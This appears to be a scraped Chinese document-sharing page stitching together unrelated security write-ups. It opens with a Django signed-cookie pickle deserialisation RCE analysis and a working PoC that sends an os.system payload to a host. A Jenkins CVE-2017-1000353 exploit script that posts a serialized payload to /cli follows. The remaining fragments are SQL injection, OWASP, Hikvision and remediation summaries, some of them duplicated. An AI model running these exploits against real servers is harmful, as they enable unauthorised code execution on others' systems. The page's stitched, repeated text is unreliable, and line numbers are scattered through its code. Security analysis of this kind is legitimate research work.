文档库 最新最全的文档下载
当前位置:文档库 › Django任意代码执行漏洞分析

Django任意代码执行漏洞分析

Django任意代码执行漏洞分析
Django任意代码执行漏洞分析

Django任意代码执行漏洞分析

从Django的SECTET_KEY到代码执行

Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。采用了MVC的软件设计模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS (内容管理系统)软件。并于2005年7月在BSD许可证下发布。

最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的JS代码中,泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

2 SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:1,json object的签名2,加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

3 代码执行

3.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

3.2 django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

3.3 session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie 数据。见代码

Python

class SessionMiddleware(object):

def process_request(self, request):

engine = import_module(settings.SESSION_ENGINE)

session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME,

None)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

Python

def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):

"""

Reverse of dumps(), raises BadSignature if signature fails

"""

base64d = smart_str(

TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))

decompress = False

if base64d[0] == '.':

1 2 3 4 5

# It's compressed; uncompress it first

base64d = base64d[1:]

decompress = True

data = b64_decode(base64d)

if decompress:

data = zlib.decompress(data)

return serializer().loads(data)

3.4 构造POC

Python

import os

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings')

from django.conf import settings

from django.core import signing

from django.contrib.sessions.backends import signed_cookies

class Run(object):

0 1 2 3 4 5 6 7 8 9 0

def __reduce__(self):

return (os.system,('touch /tmp/xxlegend.log',))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.se ssions.backends.signed_cookies')

print sess

import urllib2

import cookielib

url = 'http://10.24.35.228:8000/favicon.ico'

headers = {'Cookie':'sessionid="%s"' %(sess)}

request = urllib2.Request(url,headers = headers)

response = urllib2.urlopen(request)

print response.read()

1

2

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django 版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。

信息安全常见漏洞类型汇总汇总

一、注入漏洞 注入攻击(),简称注入攻击、注入,被广泛用于非法获取网站控制权,是发生在应用程序地数据库层上地安全漏洞.在设计程序,忽略了对输入字符串中夹带地指令地检查,被数据库误认为是正常地指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害. 通常情况下,注入地位置包括: ()表单提交,主要是请求,也包括请求; ()参数提交,主要为请求参数; ()参数提交; ()请求头部地一些可修改地值,比如、等; ()一些边缘地输入点,比如文件地一些文件信息等.

注入地危害不仅体现在数据库层面上,还有可能危及承载数据库地操作系统;如果注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: ()数据库信息泄漏:数据库中存放地用户地隐私信息地泄露.作为数据地存储中心,数据库里往往保存着各类地隐私信息,注入攻击能导致这些隐私信息透明于攻击者. ()网页篡改:通过操作数据库对特定网页进行篡改. ()网站被挂马,传播恶意软件:修改数据库一些字段地值,嵌入网马链接,进行挂马攻击. ()数据库被恶意操作:数据库服务器被攻击,数据库地系统管理员帐户被篡改. ()服务器被远程控制,被安装后门.经由数据库服务器提供地操作系统支持,让黑客得以修改或控制操作系统.

()破坏硬盘数据,瘫痪全系统. 解决注入问题地关键是对所有可能来自用户输入地数据进行严格地检查、对数据库配置使用最小权限原则. 通常使用地方案有: ()所有地查询语句都使用数据库提供地参数化查询接口,参数化地语句使用参数而不是将用户输入变量嵌入到语句中.当前几乎所有地数据库系统都提供了参数化语句执行接口,使用此接口可以非常有效地防止注入攻击. ()对进入数据库地特殊字符('"\<>*;等)进行转义处理,或编码转换. ()确认每种数据地类型,比如数字型地数据就必须是数字,数据库中地存储字段必须对应为型. ()数据长度应该严格规定,能在一定程度上防止比较长地注入语句无法正确执行. ()网站每个数据层地编码统一,建议全部使用编码,上下层编码不一致有可能导致一些过滤模型被绕过.

常见漏洞类型汇总

一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下,SQL注入的位置包括: (1)表单提交,主要是POST请求,也包括GET请求; (2)URL参数提交,主要为GET请求参数; (3)Cookie参数提交; (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。

SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: (1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。 (2)网页篡改:通过操作数据库对特定网页进行篡改。 (3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 (4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。 (5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 (6)破坏硬盘数据,瘫痪全系统。

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有: (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 (2)对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。 (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

网站漏洞危害及整改建议..

网站漏洞危害及整改建议 1. 网站木马 1.1 危害 利用IE浏览器漏洞,让IE在后台自动下载黑客放臵在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的。 1.2 利用方式 表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配臵好的木马的服务端下载到访问者的电脑上来自动执行。可被木马植入的网页也意味着能被篡改页面内容。 1.3 整改建议 1)加强网站程序安全检测,及时修补网站漏洞; 2)对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 3)建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入; 4)如有条件,建议部署网站防篡改设备。

2 . 网站暗链 2.1 危害 网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。可被插入暗链的网页也意味着能被篡改页面内容。 2.2 利用方式 “暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,可能访问者并不能一眼就能识别出被挂的隐藏链接。它和友情链接有相似之处,可以有效地提高PR 值,所以往往被恶意攻击者利用。 2.3 整改建议 1)加强网站程序安全检测,及时修补网站漏洞; 2)对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 3)建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入; 4)如有条件,建议部署网站防篡改设备。 3 . 页面篡改 3.1 危害 政府门户网站一旦被篡改将造成多种严重的后果,主要

Jenkins远程代码执行漏洞配合dnslog检测漏洞—【CVE-2017-1000353】

Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限。 曝光地址:https://https://www.wendangku.net/doc/3a14761926.html,/index.php/archives/3171 影响的范围: 影响低于 2.56 的所有 Jenkins 主线版本 影响低于 2.46.1 的所有 Jenkins LTS 版本 实际操作: 1. 利用老外文章的代码,导出成payload.jar包,用来生成攻击用的payload文件。可以自定义需要执行的命令: Jar下载地址: https://https://www.wendangku.net/doc/3a14761926.html,/nobleXu/jenkins/zip/master java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin” 然后利用老外提供的python脚本向jenkins服务器提交post请求,就可以成功在被攻击服务器/tmp目录下生成文件。也可以使用dnslog之类的来测试,如图: 2、修改jenkins_poc1.py中第13行的URL参数,改为你要攻击的靶机 jenkins_poc1.py 下载链接: https://https://www.wendangku.net/doc/3a14761926.html,/s/1misPilU密码: 6qqh 具体代码如下 import urllib import requests import uuid import threading import time import gzip import urllib3 import zlib proxies = { # 'http': 'http://127.0.0.1:8090', # 'https': 'http://127.0.0.1:8090', } URL='http://192.168.0.1/cli' PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '\x00\x00\x00\x00' FILE_SER = open("jenkins_poc1.ser", "rb").read() def download(url, session): headers = {'Side' : 'download'} headers['Content-type'] = 'application/x-www-form-urlencoded' headers['Session'] = session headers['Transfer-Encoding'] = 'chunked' r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True) print r.text def upload(url, session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding'] = None r = requests.post(url,data=data,headers=headers,proxies=proxies) def upload_chunked(url,session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding']= None headers['Transfer-Encoding'] = 'chunked' headers['Cache-Control'] = 'no-cache' r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies) def null_payload(): yield " " def create_payload(): payload = PREAMLE + PROTO + FILE_SER return payload def create_payload_chunked(): yield PREAMLE yield PROTO yield FILE_SER def main(): print "start" session = str(uuid.uuid4()) t = threading.Thread(target=download, args=(URL, session)) t.start() time.sleep(1)

常见漏洞及其解决方法

常见漏洞及其解决方案 1、SQL注入漏洞 漏洞描述: SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。 SQL注入的攻击方式多种多样,较常见的一种方式是提前终止原SQL语句,然后追加一个新的SQL命令。为了使整个构造的字符串符合SQL语句语法,攻击者常用注释标记如“-- ”(注意空格)来终止后面的SQL字符串。执行时,此后的文本将被忽略。如某个网站的登录验证SQL查询代码为strSQL = "SELECT * FROM users WHERE name = ‘”+ userName + “’and pw =’”+ passWord +”’”,其中userName 和passWord是用户输入的参数值,用户可以输入任何的字符串。如果用户输入的userName=admin’-- ,passWord为空,则整个SQL语句变为SELECT * FROM users WHERE name=’admin’-- ‘and pw=’’,等价于SELECT * FROM users WHERE name=’admin’,将绕过对密码的验证,直接获得以admin的身份登录系统。 漏洞危害: ?数据库信息泄漏,例如个人机密数据,帐户数据,密码等。 ?删除硬盘数据,破坏整个系统的运行。 ?数据库服务器被攻击,系统管理员帐户被窜改(例如ALTER LOGIN sa WITH PASSWORD='xxxxxx')。 ?取得系统较高权限后,可以篡改网页以及进行网站挂马。 ?经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统,植入后门程序(例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务)。 解决方案: ?输入过滤,对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。MySQL也有类似的转义函数mysql_escape_string和mysql_real_ escape_string。Asp的过滤参考此页面https://www.wendangku.net/doc/3a14761926.html,/nazim/archive/ 2008/04 /28/ filtering-sql-injection-from-classic-asp.aspx ?在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。 ?使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如https://www.wendangku.net/doc/3a14761926.html,的SqlDataSource对象或是LINQ to SQL,安全API库如ESAPI。?使用SQL防注入系统。 ?严格限制数据库操作的权限。普通用户与系统管理员用户的权限要有严格的区分。建立专门的账户,同时加以权限限制,满足应用的需求即可。 2、HTTPHOST头部攻击 漏洞描述:一般通用web程序是如果想知道网站域名不是一件简单的事情,如果用

信息安全漏洞月报(2018年9月)

信息安全漏洞通报 2018年9月国家信息安全漏洞库(CNNVD) 本期导读 漏洞态势 根据国家信息安全漏洞库(CNNVD)统计,2018年9月份采集安全漏洞共1324个。 本月接报漏洞共计2314个,其中信息技术产品漏洞(通用型漏洞)129个,网络信息系统漏洞(事件型漏洞)2185个。 重大漏洞预警 1、微软官方发布了多个安全漏洞的公告,包括Internet Explorer 内存损坏漏洞(CNNVD-201809-509、CVE-2018-8447)、Microsoft Excel 远程代码执行漏洞(CNNVD-201809-550、CVE-2018-8331)等多个漏洞。成功利用上述安全漏洞的攻击者,可以在目标系统上执行任意代码。微软多个产品和系统受漏洞影响。目前,微软官方已经发布补丁修复了上述漏洞,建议用户及时确认是否受到漏洞影响,尽快采取修补措施。

漏洞态势 一、公开漏洞情况 根据国家信息安全漏洞库(CNNVD )统计,2018年9月份新增安全漏洞共1324个,从厂商分布来看,Google 公司产品的漏洞数量最多,共发布110个;从漏洞类型来看,跨站脚本类的漏洞占比最大,达到13.14%。本月新增漏洞中,超危漏洞24个、高危漏洞89个、中危漏洞873个、低危漏洞338个,相应修复率分别为62.50%、92.13%、70.33%以及56.80%。合计903个漏洞已有修复补丁发布,本月整体修复率68.20%。 截至2018年9月30日,CNNVD 采集漏洞总量已达115764个。 1.1 漏洞增长概况 2018年9月新增安全漏洞1324个,与上月(962个)相比增加了37.63%。根据近6个月来漏洞新增数量统计图,平均每月漏洞数量达到1374个。 图1 2018年4月至2018年9月漏洞新增数量统计图 1496 951 1505 2004 962 1324 250 45065085010501250145016501850205022502018年4月 2018年5月 2018年6月 2018年7月 2018年8月 2018年9月

OWASP前十大漏洞

OWASP前十大漏洞 十大漏洞原因危害攻击方法 1 跨站脚本 (XSS,Cross Site Scripting) CGI程序没有对用 户提交的变量中的 HTML代码进行过 滤或转换;对提交的 数据没有经过适当 的验证或转译 黑客可以利用浏览器 中的恶意脚本获得用 户的数据,破坏网站, 插入有害内容,以及展 开钓鱼式攻击和恶意 攻击。 攻击者注入非法的标 签与脚本最终都要在 客户端执行,攻击的过 程实际上都在客户端 的浏览器上发生的。 能在客户端进行跨站 的不仅仅是HTML标签 与JavaScript脚本, 还包含一些其它的客 户端应用,比如Flash 里的ActionScript脚 本也能辅助发起XSS 攻击 2 注入漏洞(Injection Flaw) 字符过滤不严紧所 造成的 攻击者可利用注入漏 洞诱使Web应用执行 未预见的命令或数据 库查询,从而对数据库 信息进行窃取、篡改、 删除等 攻击者把一些包含指 令的数据发送给解释 器,解释器会把收到的 数据转换成指令执行。 3 恶意脚本执行 (Malicious File Excution) Web应用程序引入 来自外部的恶意文 件并执行文件内容 攻击者可利用恶意文 件执行漏洞进行攻击 取得Web服务器控制 权,进行不法利益或获 取经济利益 攻击者在具有引入功 能程序的参数中修改 参数内容,Web服务器 便会引入恶意程序内 容从而受到恶意文件 执行漏洞攻击 4 不安全的直接对象 参照物(Insecure Direct Object Reference) 当网站地址或者其 他参数包含了文件、 目录、数据库记录或 者关键字等参照物 对象时就可能发生 这种攻击 可能在网络接口中暴 露出用户的账号或是 重要文件 攻击者可以通过猜想 或者搜索另一个有效 关键字的方式攻击这 些参数 5 跨站指令伪造 (CSRF,Cross-Site Request Forgery) 它们是根据会话 cookie或者“自动记 忆”功能来授权指令 的 攻击者能让受害用户 修改的任何数据,或者 是执行允许使用的任 何功能 已登入Web应用程序 的合法使用者执行到 恶意的HTTP指令,但 Web应用程序却当成 合法需求处理,使得恶 意指令被正常执行

常见基础漏洞(三)

常见基础漏洞(三) 常见web类漏洞 1、WEB中间件 (1)Tomcat Tomcat是Apache Jakarta软件组织的一个子项目,Tomcat是一个JSP/Servlet容器,它是在SUN公司的JSWDK(Java Server Web Development Kit)基础上发展起来的一个JSP和Servlet规范的标准实现,使用Tomcat可以体验JSP和Servlet的最新规范。 端口号:8080 攻击方法: *默认口令、弱口令,爆破,tomcat5 默认有两个角色:tomcat和role1。其中账号both、tomcat、role1的默认密码都是tomcat。弱口令一般存在5以下的版本中。 *在管理后台部署war 后门文件 *远程代码执行漏洞 (2)Jboss

是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE 的一个Web 操作系统(operating system for web),它体现了J2EE 规范中最新的技术。 端口:8080 攻击方法: *弱口令,爆破 *管理后台部署war 后门 *反序列化 *远程代码执行 (3)WebLogic WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 端口:7001,7002 攻击方法:

常见安全漏洞的处理及解决方法

相关名词解释、危害与整改建议 1、网站暗链 名词解释 “暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高PR值。但要注意一点PR值是对单独页面,而不是整个网站。 危害: 网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。可被插入暗链的网页也意味着能被篡改页面内容。 整改建议: 加强网站程序安全检测,及时修补网站漏洞; 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入。 2、网页挂马 名词解释 网页挂马是通过在网页中嵌入恶意程序或链接,致使用户计算机在访问该页面时触发执行恶意脚本,从而在不知情的情况下跳转至“放马站点”(指存放恶意程序的网络地址,可以为域名,也可以直接使用IP 地址),下载并执行恶意程序。 危害: 利用IE浏览器漏洞,让IE在后台自动下载黑客放置在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的。 整改建议: 加强网站程序安全检测,及时修补网站漏洞; 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入。

安全漏洞

在迈克菲实验室(McAfee Labs) 的威胁警告中,漏洞这个字眼几乎随处可见。无论是发现了一个“漏洞”,还是在某些版本中存在“漏洞”,这样的描述都司空见惯。那么,究竟什么是“漏洞”?漏洞是一种在某些情况下会导致程序错误运行的程序错误(bug)。攻击者常常会利用漏洞来滥用程序实施破坏。 如果把系统比作成一个建筑物,那么在这个建筑物中,操作系统(OS)是基础结构,为系统提供支持,为建筑物提供支撑作用。应用程序则是建筑物中的房间,或者是房间中的各种设施,都是在建筑搭建好的基础架构上实现的,系统用户是建筑物里的住户。门和窗是建筑物里各个房间之间的交互通道,它们是早就设定好的,而漏洞,则是一些本不该存在的门、窗户,或者是墙上莫名出现的一个洞,更有可能是一些会破坏建筑物的危险材料或物品——这些缺陷和问题会使陌生人侵入建筑物,或者使建筑物遭遇安全威胁。这就是漏洞,对于系统来说,若出于安全的考虑,就必须最大限度的减少漏洞的存在,因为它会成为入侵者侵入系统和恶意软件植入的入口,影响我们系统用户的切身利益。 每一个漏洞都是不尽相同的,但根据其入侵方式的不同,可以将它们分为本地漏洞和远程漏洞。 本地漏洞: 本地漏洞需要入侵者利用自己已有的或窃取来的身份,以物理方式访问机器和硬件。在我们的类比中,入侵者要么必须是建筑物中的住户,要么必须假冒成建筑物中的住户。 远程漏洞: 相比本地漏洞,远程漏洞则不需要入侵者出现。攻击者只需要向系统发送恶意文件或者恶意数据包就能实现入侵。这就是远程漏洞比本地漏洞更危险的原因。 将漏洞按照风险级别对其分类,又可分为高风险漏洞、中等风险漏洞或低风险漏洞。风险级别在很大程度上取决于每个人所采用的标准,迈克菲定义风险是为了让客户清楚地预知未来将会发生什么,能提高警惕。 高风险漏洞: ?远程代码执行(RCE) :攻击者能够充分利用这一风险最高的漏洞来完全控制易受攻击的系统。由于这种漏洞使恶意软件能够在用户尚未得到警告的情况下运行,一些最危险的恶意软件便常常需要利用这种漏洞来发起攻击。若出现针对某一漏洞,系统商提供了安全补丁,这通常意味着这个漏洞就属于高风险漏洞,用户最好不要忽视任何相关警告。 ?拒绝服务(DoS):作为另一种高风险漏洞,DoS会导致易受攻击的程序(甚至硬件)冻结或崩溃。Anonymous Group 就是利用DoS漏洞发起攻击的。如果遭到攻击的结构是路由器、服务器或任何其他网络基础设施,不难想象局面的混乱程度。DoS漏洞的严重性视被隔离的房间而定。比如和储藏室比起来, 浴室或者客厅要重要得多。 中等风险漏洞:

海康威视(Hikvision)安防设备远程代码执行漏洞-应急概要-v4pdf

海康威视(Hikvision)安防设备远程代码执行漏洞应急概要 [第四版 2014/11/30 上午] 知道创宇安全研究团队

1.更新情况 2.漏洞概要 2014年11月19日,海康威视(Hikvision)监控设备被爆严重漏洞,具体编号为CVE-2014-4878、CVE-2014-4879和CVE-2014-4880。这三个漏洞都是由于Hikvision监控设备对RTSP(实时流传输协议)请求处理不当导致的,通过该漏洞攻击者可以对设备进行DoS,甚至直接获取设备的最高权限。 a)漏洞描述 海康威视(Hikvision)监控设备在年初时就曾被爆过后台弱口令漏洞,攻击者可以通过弱口令进入后台对设备进行查看或者配置。这次所爆出3个漏洞都因海康威视(Hikivision)监控设备在处理RTSP请求时,使用了固定的缓冲区来接收用户输入,从而用户可发送一个更大的数据来进行请求,最终导致服务端缓冲区溢出。攻击者可以通过溢出来改变服务端的程序执行流程,从而执行任意代码。 有关RTSP协议的RFC文档可以看这里: https://www.wendangku.net/doc/3a14761926.html,/rfc/rfc2326.txt 漏洞信息相关: https://https://www.wendangku.net/doc/3a14761926.html,/community/metasploit/blog/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities 根据Rapi7的报告,其漏洞触发点都在RTSP协议的具体实现里。 CVE-2014-4878:根据报告描述,其漏洞成因是在Hikvision的监控设备处理RTSP请求时,使用了固定的缓冲区接受body,当攻击者发送一个较大的body时,可能会产生溢出,致使服务crash等。 CVE-2014-4879:RTSP对请求头的处理同样也使用了固定大小的缓冲区,攻击者可以构造一个足够长的头部来填满缓冲区,产生溢出。

82【网络安全】【Windows PnP 远程执行代码漏洞攻击检测】

Windows PnP 远程执行代码漏洞攻击检测 【实验名称】 Windows PnP 远程执行代码漏洞攻击检测 【实验目的】 使用RG-IDS 对MS-05039 Windows PnP (即插即用)远程执行代码漏洞攻击进行检测 【背景描述】 某网络中发现存在针对Windows 系统的MS-05039攻击,于是网络工程师部署了IDS 系统以对其进行检测。 【需求分析】 需求:Microsoft Windows 即插即用(PnP )功能允许操作系统在安装新硬件时能够检测到这些设备。Microsoft Windows 即插即用功能中存在缓冲区溢出漏洞,成功利用这个漏洞的攻击者可以完全控制受影响的系统。 分析:通过RG-IDS 实时检测和告警,提醒管理员及时安装操作系统补丁,并对遭受攻击的机器进行隔离防御和维护。 【实验拓扑】 MGT RG-IDS 172.16.5.128RG-IDS 172.16.5.100F0/1 F0/2 F0/3 MON 172.16.5.127 172.16.5.125 【实验设备】 PC 3台 RG-IDS 1台 直连线 4条 交换机 1台(支持多对一的端口镜像) 攻击软件 HOD-ms05039-pnp-expl (PNP 即插即用攻击工具) 操作系统 未打MS-05039补丁的如下任意操作系统(安装在被攻击机上) 117

Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microsoft Windows Server 2003 SP1 Microsoft Windows Server 2003 Microsoft Windows 2000SP4 【预备知识】 交换机端口镜像配置 RG-IDS配置 HOD-ms05039-pnp-expl工具使用 【实验原理】 Microsoft Windows即插即用(PnP)功能允许操作系统在安装新硬件时能够检测到这些设备。 Microsoft Windows即插即用功能中存在缓冲区溢出漏洞,成功利用这个漏洞的攻击者可以完全控制受影响的系统。起因是PnP服务处理包含有过多数据的畸形消息的方式。在Windows 2000上,匿名用户可以通过发送特制消息来利用这个漏洞;在Windows XP Service Pack 1上,只有通过认证的用户才能发送恶意消息;在Windows XP Service Pack 2和Windows Server 2003上,攻击者必需本地登录到系统然后运行特制的应用程序才能利用这个漏洞。 本实验通过“HOD-ms05039-pnp-expl”工具攻击未打补丁的Windows操作系统,使得被攻击系统在一分钟内重起,而RG-IDS能及时准确的检测出来并上报控制台。 【实验步骤】 第一步:策略编辑 点击主界面上的“策略”按钮,切换到策略编辑器界面,从现有的策略模板“For_Windows_Networks”中生成一个新的策略。新的策略中选择“msrpc:ms05039:upnp_ms05039_alert”签名,并将策略下发到引擎。 118

常见漏洞原理及防护方法

SQL注入 漏洞原理 如果程序根据用户输入的参数动态生产SQL语句并执行,黑客可以通过传入恶意参数值注入自己定义的语句,使数据库执行任意自己需要的指令,实现数据窃取或入侵破坏。 安全威胁 ?导致拖裤,敏感信息泄露 ?数据被篡改、删除 ?数据库主机服务器被入侵 需防护场景 所有用户输入参数并进行数据库操作的场景。除了常见的select、insert 场景,也必须警惕拼接参数使用like、having、group by、order by、limited、offset等子句场景,必须进行过滤转义。 防护方法 ?对于SQL注入,最稳妥和保险的方法只有使用预编译语句然后绑定变量。 通过使用占位符,保持查询语句和数据相分离。查询语句结构由占位符 定义,SQL语句发送给数据库并做好准备,然后准备好的语句与参数值 相结合。这样就防止了查询被篡改,因为参数值与已编辑好的语句相结 合,而不是SQL字符串。从根本上避免了用户输入的恶意参数当作SQL 语句执行。 ?当实在是有like、having、group by、order by、limited、offset等动态查询时才考虑白名单输入过滤,转义等方法。 ?弱类型语言,使用变量之前声明变量类型。

XSS跨站脚本 漏洞原理 如果web页面在动态展示数据时使用了用户输入的内容,但是未做输入过滤和输出转义,导致黑客可以通过参数传入恶意代码,当用户浏览页面时恶意代码会被执行。 跨站脚本攻击有三种形式 1.反射型跨站脚本攻击 攻击者会通过社会工程手段,发送一个URL链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。 2.存储型跨站脚本攻击 攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户流量展示该数据的页面时,浏览器会执行页面中嵌入的恶意代码。所有浏览器都会受到攻击。 3.DOM型跨站脚本攻击 由于HTML页面中,定义了一段JS,根据用户的输入,显示一段HTML代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。 DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JavaScript,才可以防御。 安全威胁 利用跨站脚本攻击实现的攻击危害: ?窃取用户cookie,伪造用户身份登录。 ?控制用户浏览器 ?结合浏览器及其插件漏洞,下载木马病毒到浏览者的计算机上执行 ?衍生URL跳转漏洞 ?让官方网站出现钓鱼页面 ?蠕虫攻击 总而言之,前端脚本能实现的所有功能都会被跨站脚本利用 5.3需防护场景 所有将不可信的数据输出到HTML页面时的场景: ?将GAT参数值按原值输出到页面中(包括HTTP包头、HTML标签、JavaScript、CSS等处),必须做反射XSS防护。

跨站脚本执行漏洞详解-恶魔上传

